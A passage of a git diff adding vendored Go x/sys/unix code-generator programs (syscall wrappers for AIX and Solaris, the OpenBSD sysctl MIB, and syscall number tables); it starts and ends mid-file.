-+ nargs := len(argsgc)
-+
-+ // COMMON function generation
-+ argscommonlist := strings.Join(argscommon, ", ")
-+ callcommon := fmt.Sprintf("call%s(%s)", sysname, argscommonlist)
-+ ret := []string{"_", "_"}
-+ body := ""
-+ doErrno := false
-+ for i := 0; i < len(out); i++ {
-+ p := parseParam(out[i])
-+ reg := ""
-+ if p.Name == "err" {
-+ reg = "e1"
-+ ret[1] = reg
-+ doErrno = true
-+ } else {
-+ reg = "r0"
-+ ret[0] = reg
-+ }
-+ if p.Type == "bool" {
-+ reg = fmt.Sprintf("%s != 0", reg)
-+ }
-+ if reg != "e1" {
-+ body += fmt.Sprintf("\t%s = %s(%s)\n", p.Name, p.Type, reg)
-+ }
-+ }
-+ if ret[0] == "_" && ret[1] == "_" {
-+ textcommon += fmt.Sprintf("\t%s\n", callcommon)
-+ } else {
-+ textcommon += fmt.Sprintf("\t%s, %s := %s\n", ret[0], ret[1], callcommon)
-+ }
-+ textcommon += body
-+
-+ if doErrno {
-+ textcommon += "\tif e1 != 0 {\n"
-+ textcommon += "\t\terr = errnoErr(e1)\n"
-+ textcommon += "\t}\n"
-+ }
-+ textcommon += "\treturn\n"
-+ textcommon += "}\n"
-+
-+ if onlyCommon {
-+ continue
-+ }
-+
-+ // CALL Prototype
-+ callProto := fmt.Sprintf("func call%s(%s) (r1 uintptr, e1 Errno) {\n", sysname, strings.Join(argscall, ", "))
-+
-+ // GC function generation
-+ asm := "syscall6"
-+ if nonblock != nil {
-+ asm = "rawSyscall6"
-+ }
-+
-+ if len(argsgc) <= 6 {
-+ for len(argsgc) < 6 {
-+ argsgc = append(argsgc, "0")
-+ }
-+ } else {
-+ fmt.Fprintf(os.Stderr, "%s: too many arguments to system call", funct)
-+ os.Exit(1)
-+ }
-+ argsgclist := strings.Join(argsgc, ", ")
-+ callgc := fmt.Sprintf("%s(uintptr(unsafe.Pointer(&%s)), %d, %s)", asm, sysvarname, nargs, argsgclist)
-+
-+ textgc += callProto
-+ textgc += fmt.Sprintf("\tr1, _, e1 = %s\n", callgc)
-+ textgc += "\treturn\n}\n"
-+
-+ // GCCGO function generation
-+ argsgccgolist := strings.Join(argsgccgo, ", ")
-+ var callgccgo string
-+ if sysname == "select" {
-+ // select is a keyword of Go. Its name is
-+ // changed to c_select.
-+ callgccgo = fmt.Sprintf("C.c_%s(%s)", sysname, argsgccgolist)
-+ } else {
-+ callgccgo = fmt.Sprintf("C.%s(%s)", sysname, argsgccgolist)
-+ }
-+ textgccgo += callProto
-+ textgccgo += fmt.Sprintf("\tr1 = uintptr(%s)\n", callgccgo)
-+ textgccgo += "\te1 = syscall.GetErrno()\n"
-+ textgccgo += "\treturn\n}\n"
-+ }
-+ if err := s.Err(); err != nil {
-+ fmt.Fprintf(os.Stderr, err.Error())
-+ os.Exit(1)
-+ }
-+ file.Close()
-+ }
-+ imp := ""
-+ if pack != "unix" {
-+ imp = "import \"golang.org/x/sys/unix\"\n"
-+
-+ }
-+
-+ // Print zsyscall_aix_ppc64.go
-+ err := ioutil.WriteFile("zsyscall_aix_ppc64.go",
-+ []byte(fmt.Sprintf(srcTemplate1, cmdLine(), buildTags(), pack, imp, textcommon)),
-+ 0644)
-+ if err != nil {
-+ fmt.Fprintf(os.Stderr, err.Error())
-+ os.Exit(1)
-+ }
-+
-+ // Print zsyscall_aix_ppc64_gc.go
-+ vardecls := "\t" + strings.Join(vars, ",\n\t")
-+ vardecls += " syscallFunc"
-+ err = ioutil.WriteFile("zsyscall_aix_ppc64_gc.go",
-+ []byte(fmt.Sprintf(srcTemplate2, cmdLine(), buildTags(), pack, imp, dynimports, linknames, vardecls, textgc)),
-+ 0644)
-+ if err != nil {
-+ fmt.Fprintf(os.Stderr, err.Error())
-+ os.Exit(1)
-+ }
-+
-+ // Print zsyscall_aix_ppc64_gccgo.go
-+ err = ioutil.WriteFile("zsyscall_aix_ppc64_gccgo.go",
-+ []byte(fmt.Sprintf(srcTemplate3, cmdLine(), buildTags(), pack, cExtern, imp, textgccgo)),
-+ 0644)
-+ if err != nil {
-+ fmt.Fprintf(os.Stderr, err.Error())
-+ os.Exit(1)
-+ }
-+}
-+
-+const srcTemplate1 = `// %s
-+// Code generated by the command above; see README.md. DO NOT EDIT.
-+
-+// +build %s
-+
-+package %s
-+
-+import (
-+ "unsafe"
-+)
-+
-+
-+%s
-+
-+%s
-+`
-+const srcTemplate2 = `// %s
-+// Code generated by the command above; see README.md. DO NOT EDIT.
-+
-+// +build %s
-+// +build !gccgo
-+
-+package %s
-+
-+import (
-+ "unsafe"
-+)
-+%s
-+%s
-+%s
-+type syscallFunc uintptr
-+
-+var (
-+%s
-+)
-+
-+// Implemented in runtime/syscall_aix.go.
-+func rawSyscall6(trap, nargs, a1, a2, a3, a4, a5, a6 uintptr) (r1, r2 uintptr, err Errno)
-+func syscall6(trap, nargs, a1, a2, a3, a4, a5, a6 uintptr) (r1, r2 uintptr, err Errno)
-+
-+%s
-+`
-+const srcTemplate3 = `// %s
-+// Code generated by the command above; see README.md. DO NOT EDIT.
-+
-+// +build %s
-+// +build gccgo
-+
-+package %s
-+
-+%s
-+*/
-+import "C"
-+import (
-+ "syscall"
-+)
-+
-+
-+%s
-+
-+%s
-+`
-diff --git a/vendor/golang.org/x/sys/unix/mksyscall_solaris.go b/vendor/golang.org/x/sys/unix/mksyscall_solaris.go
-new file mode 100644
-index 00000000..675597e4
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/mksyscall_solaris.go
-@@ -0,0 +1,341 @@
-+// Copyright 2019 The Go Authors. All rights reserved.
-+// Use of this source code is governed by a BSD-style
-+// license that can be found in the LICENSE file.
-+
-+// +build ignore
-+
-+/*
-+ This program reads a file containing function prototypes
-+ (like syscall_solaris.go) and generates system call bodies.
-+ The prototypes are marked by lines beginning with "//sys"
-+ and read like func declarations if //sys is replaced by func, but:
-+ * The parameter lists must give a name for each argument.
-+ This includes return parameters.
-+ * The parameter lists must give a type for each argument:
-+ the (x, y, z int) shorthand is not allowed.
-+ * If the return parameter is an error number, it must be named err.
-+ * If go func name needs to be different than its libc name,
-+ * or the function is not in libc, name could be specified
-+ * at the end, after "=" sign, like
-+ //sys getsockopt(s int, level int, name int, val uintptr, vallen *_Socklen) (err error) = libsocket.getsockopt
-+*/
-+
-+package main
-+
-+import (
-+ "bufio"
-+ "flag"
-+ "fmt"
-+ "os"
-+ "regexp"
-+ "strings"
-+)
-+
-+var (
-+ b32 = flag.Bool("b32", false, "32bit big-endian")
-+ l32 = flag.Bool("l32", false, "32bit little-endian")
-+ tags = flag.String("tags", "", "build tags")
-+ illumos = flag.Bool("illumos", false, "illumos specific code generation")
-+)
-+
-+// cmdLine returns this programs's commandline arguments
-+func cmdLine() string {
-+ return "go run mksyscall_solaris.go " + strings.Join(os.Args[1:], " ")
-+}
-+
-+// buildTags returns build tags
-+func buildTags() string {
-+ return *tags
-+}
-+
-+// Param is function parameter
-+type Param struct {
-+ Name string
-+ Type string
-+}
-+
-+// usage prints the program usage
-+func usage() {
-+ fmt.Fprintf(os.Stderr, "usage: go run mksyscall_solaris.go [-b32 | -l32] [-tags x,y] [file ...]\n")
-+ os.Exit(1)
-+}
-+
-+// parseParamList parses parameter list and returns a slice of parameters
-+func parseParamList(list string) []string {
-+ list = strings.TrimSpace(list)
-+ if list == "" {
-+ return []string{}
-+ }
-+ return regexp.MustCompile(`\s*,\s*`).Split(list, -1)
-+}
-+
-+// parseParam splits a parameter into name and type
-+func parseParam(p string) Param {
-+ ps := regexp.MustCompile(`^(\S*) (\S*)$`).FindStringSubmatch(p)
-+ if ps == nil {
-+ fmt.Fprintf(os.Stderr, "malformed parameter: %s\n", p)
-+ os.Exit(1)
-+ }
-+ return Param{ps[1], ps[2]}
-+}
-+
-+func main() {
-+ flag.Usage = usage
-+ flag.Parse()
-+ if len(flag.Args()) <= 0 {
-+ fmt.Fprintf(os.Stderr, "no files to parse provided\n")
-+ usage()
-+ }
-+
-+ endianness := ""
-+ if *b32 {
-+ endianness = "big-endian"
-+ } else if *l32 {
-+ endianness = "little-endian"
-+ }
-+
-+ pack := ""
-+ text := ""
-+ dynimports := ""
-+ linknames := ""
-+ var vars []string
-+ for _, path := range flag.Args() {
-+ file, err := os.Open(path)
-+ if err != nil {
-+ fmt.Fprintf(os.Stderr, err.Error())
-+ os.Exit(1)
-+ }
-+ s := bufio.NewScanner(file)
-+ for s.Scan() {
-+ t := s.Text()
-+ t = strings.TrimSpace(t)
-+ t = regexp.MustCompile(`\s+`).ReplaceAllString(t, ` `)
-+ if p := regexp.MustCompile(`^package (\S+)$`).FindStringSubmatch(t); p != nil && pack == "" {
-+ pack = p[1]
-+ }
-+ nonblock := regexp.MustCompile(`^\/\/sysnb `).FindStringSubmatch(t)
-+ if regexp.MustCompile(`^\/\/sys `).FindStringSubmatch(t) == nil && nonblock == nil {
-+ continue
-+ }
-+
-+ // Line must be of the form
-+ // func Open(path string, mode int, perm int) (fd int, err error)
-+ // Split into name, in params, out params.
-+ f := regexp.MustCompile(`^\/\/sys(nb)? (\w+)\(([^()]*)\)\s*(?:\(([^()]+)\))?\s*(?:=\s*(?:(\w*)\.)?(\w*))?$`).FindStringSubmatch(t)
-+ if f == nil {
-+ fmt.Fprintf(os.Stderr, "%s:%s\nmalformed //sys declaration\n", path, t)
-+ os.Exit(1)
-+ }
-+ funct, inps, outps, modname, sysname := f[2], f[3], f[4], f[5], f[6]
-+
-+ // Split argument lists on comma.
-+ in := parseParamList(inps)
-+ out := parseParamList(outps)
-+
-+ inps = strings.Join(in, ", ")
-+ outps = strings.Join(out, ", ")
-+
-+ // Try in vain to keep people from editing this file.
-+ // The theory is that they jump into the middle of the file
-+ // without reading the header.
-+ text += "// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT\n\n"
-+
-+ // So file name.
-+ if modname == "" {
-+ modname = "libc"
-+ }
-+
-+ // System call name.
-+ if sysname == "" {
-+ sysname = funct
-+ }
-+
-+ // System call pointer variable name.
-+ sysvarname := fmt.Sprintf("proc%s", sysname)
-+
-+ strconvfunc := "BytePtrFromString"
-+ strconvtype := "*byte"
-+
-+ sysname = strings.ToLower(sysname) // All libc functions are lowercase.
-+
-+ // Runtime import of function to allow cross-platform builds.
-+ dynimports += fmt.Sprintf("//go:cgo_import_dynamic libc_%s %s \"%s.so\"\n", sysname, sysname, modname)
-+ // Link symbol to proc address variable.
-+ linknames += fmt.Sprintf("//go:linkname %s libc_%s\n", sysvarname, sysname)
-+ // Library proc address variable.
-+ vars = append(vars, sysvarname)
-+
-+ // Go function header.
-+ outlist := strings.Join(out, ", ")
-+ if outlist != "" {
-+ outlist = fmt.Sprintf(" (%s)", outlist)
-+ }
-+ if text != "" {
-+ text += "\n"
-+ }
-+ text += fmt.Sprintf("func %s(%s)%s {\n", funct, strings.Join(in, ", "), outlist)
-+
-+ // Check if err return available
-+ errvar := ""
-+ for _, param := range out {
-+ p := parseParam(param)
-+ if p.Type == "error" {
-+ errvar = p.Name
-+ continue
-+ }
-+ }
-+
-+ // Prepare arguments to Syscall.
-+ var args []string
-+ n := 0
-+ for _, param := range in {
-+ p := parseParam(param)
-+ if regexp.MustCompile(`^\*`).FindStringSubmatch(p.Type) != nil {
-+ args = append(args, "uintptr(unsafe.Pointer("+p.Name+"))")
-+ } else if p.Type == "string" && errvar != "" {
-+ text += fmt.Sprintf("\tvar _p%d %s\n", n, strconvtype)
-+ text += fmt.Sprintf("\t_p%d, %s = %s(%s)\n", n, errvar, strconvfunc, p.Name)
-+ text += fmt.Sprintf("\tif %s != nil {\n\t\treturn\n\t}\n", errvar)
-+ args = append(args, fmt.Sprintf("uintptr(unsafe.Pointer(_p%d))", n))
-+ n++
-+ } else if p.Type == "string" {
-+ fmt.Fprintf(os.Stderr, path+":"+funct+" uses string arguments, but has no error return\n")
-+ text += fmt.Sprintf("\tvar _p%d %s\n", n, strconvtype)
-+ text += fmt.Sprintf("\t_p%d, _ = %s(%s)\n", n, strconvfunc, p.Name)
-+ args = append(args, fmt.Sprintf("uintptr(unsafe.Pointer(_p%d))", n))
-+ n++
-+ } else if s := regexp.MustCompile(`^\[\](.*)`).FindStringSubmatch(p.Type); s != nil {
-+ // Convert slice into pointer, length.
-+ // Have to be careful not to take address of &a[0] if len == 0:
-+ // pass nil in that case.
-+ text += fmt.Sprintf("\tvar _p%d *%s\n", n, s[1])
-+ text += fmt.Sprintf("\tif len(%s) > 0 {\n\t\t_p%d = &%s[0]\n\t}\n", p.Name, n, p.Name)
-+ args = append(args, fmt.Sprintf("uintptr(unsafe.Pointer(_p%d))", n), fmt.Sprintf("uintptr(len(%s))", p.Name))
-+ n++
-+ } else if p.Type == "int64" && endianness != "" {
-+ if endianness == "big-endian" {
-+ args = append(args, fmt.Sprintf("uintptr(%s>>32)", p.Name), fmt.Sprintf("uintptr(%s)", p.Name))
-+ } else {
-+ args = append(args, fmt.Sprintf("uintptr(%s)", p.Name), fmt.Sprintf("uintptr(%s>>32)", p.Name))
-+ }
-+ } else if p.Type == "bool" {
-+ text += fmt.Sprintf("\tvar _p%d uint32\n", n)
-+ text += fmt.Sprintf("\tif %s {\n\t\t_p%d = 1\n\t} else {\n\t\t_p%d = 0\n\t}\n", p.Name, n, n)
-+ args = append(args, fmt.Sprintf("uintptr(_p%d)", n))
-+ n++
-+ } else {
-+ args = append(args, fmt.Sprintf("uintptr(%s)", p.Name))
-+ }
-+ }
-+ nargs := len(args)
-+
-+ // Determine which form to use; pad args with zeros.
-+ asm := "sysvicall6"
-+ if nonblock != nil {
-+ asm = "rawSysvicall6"
-+ }
-+ if len(args) <= 6 {
-+ for len(args) < 6 {
-+ args = append(args, "0")
-+ }
-+ } else {
-+ fmt.Fprintf(os.Stderr, "%s: too many arguments to system call\n", path)
-+ os.Exit(1)
-+ }
-+
-+ // Actual call.
-+ arglist := strings.Join(args, ", ")
-+ call := fmt.Sprintf("%s(uintptr(unsafe.Pointer(&%s)), %d, %s)", asm, sysvarname, nargs, arglist)
-+
-+ // Assign return values.
-+ body := ""
-+ ret := []string{"_", "_", "_"}
-+ doErrno := false
-+ for i := 0; i < len(out); i++ {
-+ p := parseParam(out[i])
-+ reg := ""
-+ if p.Name == "err" {
-+ reg = "e1"
-+ ret[2] = reg
-+ doErrno = true
-+ } else {
-+ reg = fmt.Sprintf("r%d", i)
-+ ret[i] = reg
-+ }
-+ if p.Type == "bool" {
-+ reg = fmt.Sprintf("%d != 0", reg)
-+ }
-+ if p.Type == "int64" && endianness != "" {
-+ // 64-bit number in r1:r0 or r0:r1.
-+ if i+2 > len(out) {
-+ fmt.Fprintf(os.Stderr, "%s: not enough registers for int64 return\n", path)
-+ os.Exit(1)
-+ }
-+ if endianness == "big-endian" {
-+ reg = fmt.Sprintf("int64(r%d)<<32 | int64(r%d)", i, i+1)
-+ } else {
-+ reg = fmt.Sprintf("int64(r%d)<<32 | int64(r%d)", i+1, i)
-+ }
-+ ret[i] = fmt.Sprintf("r%d", i)
-+ ret[i+1] = fmt.Sprintf("r%d", i+1)
-+ }
-+ if reg != "e1" {
-+ body += fmt.Sprintf("\t%s = %s(%s)\n", p.Name, p.Type, reg)
-+ }
-+ }
-+ if ret[0] == "_" && ret[1] == "_" && ret[2] == "_" {
-+ text += fmt.Sprintf("\t%s\n", call)
-+ } else {
-+ text += fmt.Sprintf("\t%s, %s, %s := %s\n", ret[0], ret[1], ret[2], call)
-+ }
-+ text += body
-+
-+ if doErrno {
-+ text += "\tif e1 != 0 {\n"
-+ text += "\t\terr = e1\n"
-+ text += "\t}\n"
-+ }
-+ text += "\treturn\n"
-+ text += "}\n"
-+ }
-+ if err := s.Err(); err != nil {
-+ fmt.Fprintf(os.Stderr, err.Error())
-+ os.Exit(1)
-+ }
-+ file.Close()
-+ }
-+ imp := ""
-+ if pack != "unix" {
-+ imp = "import \"golang.org/x/sys/unix\"\n"
-+ }
-+
-+ syscallimp := ""
-+ if !*illumos {
-+ syscallimp = "\"syscall\""
-+ }
-+
-+ vardecls := "\t" + strings.Join(vars, ",\n\t")
-+ vardecls += " syscallFunc"
-+ fmt.Printf(srcTemplate, cmdLine(), buildTags(), pack, syscallimp, imp, dynimports, linknames, vardecls, text)
-+}
-+
-+const srcTemplate = `// %s
-+// Code generated by the command above; see README.md. DO NOT EDIT.
-+
-+// +build %s
-+
-+package %s
-+
-+import (
-+ "unsafe"
-+ %s
-+)
-+%s
-+%s
-+%s
-+var (
-+%s
-+)
-+
-+%s
-+`
-diff --git a/vendor/golang.org/x/sys/unix/mksysctl_openbsd.go b/vendor/golang.org/x/sys/unix/mksysctl_openbsd.go
-new file mode 100644
-index 00000000..b6b40990
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/mksysctl_openbsd.go
-@@ -0,0 +1,355 @@
-+// Copyright 2019 The Go Authors. All rights reserved.
-+// Use of this source code is governed by a BSD-style
-+// license that can be found in the LICENSE file.
-+
-+// +build ignore
-+
-+// Parse the header files for OpenBSD and generate a Go usable sysctl MIB.
-+//
-+// Build a MIB with each entry being an array containing the level, type and
-+// a hash that will contain additional entries if the current entry is a node.
-+// We then walk this MIB and create a flattened sysctl name to OID hash.
-+
-+package main
-+
-+import (
-+ "bufio"
-+ "fmt"
-+ "os"
-+ "path/filepath"
-+ "regexp"
-+ "sort"
-+ "strings"
-+)
-+
-+var (
-+ goos, goarch string
-+)
-+
-+// cmdLine returns this programs's commandline arguments.
-+func cmdLine() string {
-+ return "go run mksysctl_openbsd.go " + strings.Join(os.Args[1:], " ")
-+}
-+
-+// buildTags returns build tags.
-+func buildTags() string {
-+ return fmt.Sprintf("%s,%s", goarch, goos)
-+}
-+
-+// reMatch performs regular expression match and stores the substring slice to value pointed by m.
-+func reMatch(re *regexp.Regexp, str string, m *[]string) bool {
-+ *m = re.FindStringSubmatch(str)
-+ if *m != nil {
-+ return true
-+ }
-+ return false
-+}
-+
-+type nodeElement struct {
-+ n int
-+ t string
-+ pE *map[string]nodeElement
-+}
-+
-+var (
-+ debugEnabled bool
-+ mib map[string]nodeElement
-+ node *map[string]nodeElement
-+ nodeMap map[string]string
-+ sysCtl []string
-+)
-+
-+var (
-+ ctlNames1RE = regexp.MustCompile(`^#define\s+(CTL_NAMES)\s+{`)
-+ ctlNames2RE = regexp.MustCompile(`^#define\s+(CTL_(.*)_NAMES)\s+{`)
-+ ctlNames3RE = regexp.MustCompile(`^#define\s+((.*)CTL_NAMES)\s+{`)
-+ netInetRE = regexp.MustCompile(`^netinet/`)
-+ netInet6RE = regexp.MustCompile(`^netinet6/`)
-+ netRE = regexp.MustCompile(`^net/`)
-+ bracesRE = regexp.MustCompile(`{.*}`)
-+ ctlTypeRE = regexp.MustCompile(`{\s+"(\w+)",\s+(CTLTYPE_[A-Z]+)\s+}`)
-+ fsNetKernRE = regexp.MustCompile(`^(fs|net|kern)_`)
-+)
-+
-+func debug(s string) {
-+ if debugEnabled {
-+ fmt.Fprintln(os.Stderr, s)
-+ }
-+}
-+
-+// Walk the MIB and build a sysctl name to OID mapping.
-+func buildSysctl(pNode *map[string]nodeElement, name string, oid []int) {
-+ lNode := pNode // local copy of pointer to node
-+ var keys []string
-+ for k := range *lNode {
-+ keys = append(keys, k)
-+ }
-+ sort.Strings(keys)
-+
-+ for _, key := range keys {
-+ nodename := name
-+ if name != "" {
-+ nodename += "."
-+ }
-+ nodename += key
-+
-+ nodeoid := append(oid, (*pNode)[key].n)
-+
-+ if (*pNode)[key].t == `CTLTYPE_NODE` {
-+ if _, ok := nodeMap[nodename]; ok {
-+ lNode = &mib
-+ ctlName := nodeMap[nodename]
-+ for _, part := range strings.Split(ctlName, ".") {
-+ lNode = ((*lNode)[part]).pE
-+ }
-+ } else {
-+ lNode = (*pNode)[key].pE
-+ }
-+ buildSysctl(lNode, nodename, nodeoid)
-+ } else if (*pNode)[key].t != "" {
-+ oidStr := []string{}
-+ for j := range nodeoid {
-+ oidStr = append(oidStr, fmt.Sprintf("%d", nodeoid[j]))
-+ }
-+ text := "\t{ \"" + nodename + "\", []_C_int{ " + strings.Join(oidStr, ", ") + " } }, \n"
-+ sysCtl = append(sysCtl, text)
-+ }
-+ }
-+}
-+
-+func main() {
-+ // Get the OS (using GOOS_TARGET if it exist)
-+ goos = os.Getenv("GOOS_TARGET")
-+ if goos == "" {
-+ goos = os.Getenv("GOOS")
-+ }
-+ // Get the architecture (using GOARCH_TARGET if it exists)
-+ goarch = os.Getenv("GOARCH_TARGET")
-+ if goarch == "" {
-+ goarch = os.Getenv("GOARCH")
-+ }
-+ // Check if GOOS and GOARCH environment variables are defined
-+ if goarch == "" || goos == "" {
-+ fmt.Fprintf(os.Stderr, "GOARCH or GOOS not defined in environment\n")
-+ os.Exit(1)
-+ }
-+
-+ mib = make(map[string]nodeElement)
-+ headers := [...]string{
-+ `sys/sysctl.h`,
-+ `sys/socket.h`,
-+ `sys/tty.h`,
-+ `sys/malloc.h`,
-+ `sys/mount.h`,
-+ `sys/namei.h`,
-+ `sys/sem.h`,
-+ `sys/shm.h`,
-+ `sys/vmmeter.h`,
-+ `uvm/uvmexp.h`,
-+ `uvm/uvm_param.h`,
-+ `uvm/uvm_swap_encrypt.h`,
-+ `ddb/db_var.h`,
-+ `net/if.h`,
-+ `net/if_pfsync.h`,
-+ `net/pipex.h`,
-+ `netinet/in.h`,
-+ `netinet/icmp_var.h`,
-+ `netinet/igmp_var.h`,
-+ `netinet/ip_ah.h`,
-+ `netinet/ip_carp.h`,
-+ `netinet/ip_divert.h`,
-+ `netinet/ip_esp.h`,
-+ `netinet/ip_ether.h`,
-+ `netinet/ip_gre.h`,
-+ `netinet/ip_ipcomp.h`,
-+ `netinet/ip_ipip.h`,
-+ `netinet/pim_var.h`,
-+ `netinet/tcp_var.h`,
-+ `netinet/udp_var.h`,
-+ `netinet6/in6.h`,
-+ `netinet6/ip6_divert.h`,
-+ `netinet6/pim6_var.h`,
-+ `netinet/icmp6.h`,
-+ `netmpls/mpls.h`,
-+ }
-+
-+ ctls := [...]string{
-+ `kern`,
-+ `vm`,
-+ `fs`,
-+ `net`,
-+ //debug /* Special handling required */
-+ `hw`,
-+ //machdep /* Arch specific */
-+ `user`,
-+ `ddb`,
-+ //vfs /* Special handling required */
-+ `fs.posix`,
-+ `kern.forkstat`,
-+ `kern.intrcnt`,
-+ `kern.malloc`,
-+ `kern.nchstats`,
-+ `kern.seminfo`,
-+ `kern.shminfo`,
-+ `kern.timecounter`,
-+ `kern.tty`,
-+ `kern.watchdog`,
-+ `net.bpf`,
-+ `net.ifq`,
-+ `net.inet`,
-+ `net.inet.ah`,
-+ `net.inet.carp`,
-+ `net.inet.divert`,
-+ `net.inet.esp`,
-+ `net.inet.etherip`,
-+ `net.inet.gre`,
-+ `net.inet.icmp`,
-+ `net.inet.igmp`,
-+ `net.inet.ip`,
-+ `net.inet.ip.ifq`,
-+ `net.inet.ipcomp`,
-+ `net.inet.ipip`,
-+ `net.inet.mobileip`,
-+ `net.inet.pfsync`,
-+ `net.inet.pim`,
-+ `net.inet.tcp`,
-+ `net.inet.udp`,
-+ `net.inet6`,
-+ `net.inet6.divert`,
-+ `net.inet6.ip6`,
-+ `net.inet6.icmp6`,
-+ `net.inet6.pim6`,
-+ `net.inet6.tcp6`,
-+ `net.inet6.udp6`,
-+ `net.mpls`,
-+ `net.mpls.ifq`,
-+ `net.key`,
-+ `net.pflow`,
-+ `net.pfsync`,
-+ `net.pipex`,
-+ `net.rt`,
-+ `vm.swapencrypt`,
-+ //vfsgenctl /* Special handling required */
-+ }
-+
-+ // Node name "fixups"
-+ ctlMap := map[string]string{
-+ "ipproto": "net.inet",
-+ "net.inet.ipproto": "net.inet",
-+ "net.inet6.ipv6proto": "net.inet6",
-+ "net.inet6.ipv6": "net.inet6.ip6",
-+ "net.inet.icmpv6": "net.inet6.icmp6",
-+ "net.inet6.divert6": "net.inet6.divert",
-+ "net.inet6.tcp6": "net.inet.tcp",
-+ "net.inet6.udp6": "net.inet.udp",
-+ "mpls": "net.mpls",
-+ "swpenc": "vm.swapencrypt",
-+ }
-+
-+ // Node mappings
-+ nodeMap = map[string]string{
-+ "net.inet.ip.ifq": "net.ifq",
-+ "net.inet.pfsync": "net.pfsync",
-+ "net.mpls.ifq": "net.ifq",
-+ }
-+
-+ mCtls := make(map[string]bool)
-+ for _, ctl := range ctls {
-+ mCtls[ctl] = true
-+ }
-+
-+ for _, header := range headers {
-+ debug("Processing " + header)
-+ file, err := os.Open(filepath.Join("/usr/include", header))
-+ if err != nil {
-+ fmt.Fprintf(os.Stderr, "%v\n", err)
-+ os.Exit(1)
-+ }
-+ s := bufio.NewScanner(file)
-+ for s.Scan() {
-+ var sub []string
-+ if reMatch(ctlNames1RE, s.Text(), &sub) ||
-+ reMatch(ctlNames2RE, s.Text(), &sub) ||
-+ reMatch(ctlNames3RE, s.Text(), &sub) {
-+ if sub[1] == `CTL_NAMES` {
-+ // Top level.
-+ node = &mib
-+ } else {
-+ // Node.
-+ nodename := strings.ToLower(sub[2])
-+ ctlName := ""
-+ if reMatch(netInetRE, header, &sub) {
-+ ctlName = "net.inet." + nodename
-+ } else if reMatch(netInet6RE, header, &sub) {
-+ ctlName = "net.inet6." + nodename
-+ } else if reMatch(netRE, header, &sub) {
-+ ctlName = "net." + nodename
-+ } else {
-+ ctlName = nodename
-+ ctlName = fsNetKernRE.ReplaceAllString(ctlName, `$1.`)
-+ }
-+
-+ if val, ok := ctlMap[ctlName]; ok {
-+ ctlName = val
-+ }
-+ if _, ok := mCtls[ctlName]; !ok {
-+ debug("Ignoring " + ctlName + "...")
-+ continue
-+ }
-+
-+ // Walk down from the top of the MIB.
-+ node = &mib
-+ for _, part := range strings.Split(ctlName, ".") {
-+ if _, ok := (*node)[part]; !ok {
-+ debug("Missing node " + part)
-+ (*node)[part] = nodeElement{n: 0, t: "", pE: &map[string]nodeElement{}}
-+ }
-+ node = (*node)[part].pE
-+ }
-+ }
-+
-+ // Populate current node with entries.
-+ i := -1
-+ for !strings.HasPrefix(s.Text(), "}") {
-+ s.Scan()
-+ if reMatch(bracesRE, s.Text(), &sub) {
-+ i++
-+ }
-+ if !reMatch(ctlTypeRE, s.Text(), &sub) {
-+ continue
-+ }
-+ (*node)[sub[1]] = nodeElement{n: i, t: sub[2], pE: &map[string]nodeElement{}}
-+ }
-+ }
-+ }
-+ err = s.Err()
-+ if err != nil {
-+ fmt.Fprintf(os.Stderr, "%v\n", err)
-+ os.Exit(1)
-+ }
-+ file.Close()
-+ }
-+ buildSysctl(&mib, "", []int{})
-+
-+ sort.Strings(sysCtl)
-+ text := strings.Join(sysCtl, "")
-+
-+ fmt.Printf(srcTemplate, cmdLine(), buildTags(), text)
-+}
-+
-+const srcTemplate = `// %s
-+// Code generated by the command above; DO NOT EDIT.
-+
-+// +build %s
-+
-+package unix
-+
-+type mibentry struct {
-+ ctlname string
-+ ctloid []_C_int
-+}
-+
-+var sysctlMib = []mibentry {
-+%s
-+}
-+`
-diff --git a/vendor/golang.org/x/sys/unix/mksysnum.go b/vendor/golang.org/x/sys/unix/mksysnum.go
-new file mode 100644
-index 00000000..baa6ecd8
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/mksysnum.go
-@@ -0,0 +1,190 @@
-+// Copyright 2018 The Go Authors. All rights reserved.
-+// Use of this source code is governed by a BSD-style
-+// license that can be found in the LICENSE file.
-+
-+// +build ignore
-+
-+// Generate system call table for DragonFly, NetBSD,
-+// FreeBSD, OpenBSD or Darwin from master list
-+// (for example, /usr/src/sys/kern/syscalls.master or
-+// sys/syscall.h).
-+package main
-+
-+import (
-+ "bufio"
-+ "fmt"
-+ "io"
-+ "io/ioutil"
-+ "net/http"
-+ "os"
-+ "regexp"
-+ "strings"
-+)
-+
-+var (
-+ goos, goarch string
-+)
-+
-+// cmdLine returns this programs's commandline arguments
-+func cmdLine() string {
-+ return "go run mksysnum.go " + strings.Join(os.Args[1:], " ")
-+}
-+
-+// buildTags returns build tags
-+func buildTags() string {
-+ return fmt.Sprintf("%s,%s", goarch, goos)
-+}
-+
-+func checkErr(err error) {
-+ if err != nil {
-+ fmt.Fprintf(os.Stderr, "%v\n", err)
-+ os.Exit(1)
-+ }
-+}
-+
-+// source string and substring slice for regexp
-+type re struct {
-+ str string // source string
-+ sub []string // matched sub-string
-+}
-+
-+// Match performs regular expression match
-+func (r *re) Match(exp string) bool {
-+ r.sub = regexp.MustCompile(exp).FindStringSubmatch(r.str)
-+ if r.sub != nil {
-+ return true
-+ }
-+ return false
-+}
-+
-+// fetchFile fetches a text file from URL
-+func fetchFile(URL string) io.Reader {
-+ resp, err := http.Get(URL)
-+ checkErr(err)
-+ defer resp.Body.Close()
-+ body, err := ioutil.ReadAll(resp.Body)
-+ checkErr(err)
-+ return strings.NewReader(string(body))
-+}
-+
-+// readFile reads a text file from path
-+func readFile(path string) io.Reader {
-+ file, err := os.Open(os.Args[1])
-+ checkErr(err)
-+ return file
-+}
-+
-+func format(name, num, proto string) string {
-+ name = strings.ToUpper(name)
-+ // There are multiple entries for enosys and nosys, so comment them out.
-+ nm := re{str: name}
-+ if nm.Match(`^SYS_E?NOSYS$`) {
-+ name = fmt.Sprintf("// %s", name)
-+ }
-+ if name == `SYS_SYS_EXIT` {
-+ name = `SYS_EXIT`
-+ }
-+ return fmt.Sprintf(" %s = %s; // %s\n", name, num, proto)
-+}
-+
-+func main() {
-+ // Get the OS (using GOOS_TARGET if it exist)
-+ goos = os.Getenv("GOOS_TARGET")
-+ if goos == "" {
-+ goos = os.Getenv("GOOS")
-+ }
-+ // Get the architecture (using GOARCH_TARGET if it exists)
-+ goarch = os.Getenv("GOARCH_TARGET")
-+ if goarch == "" {
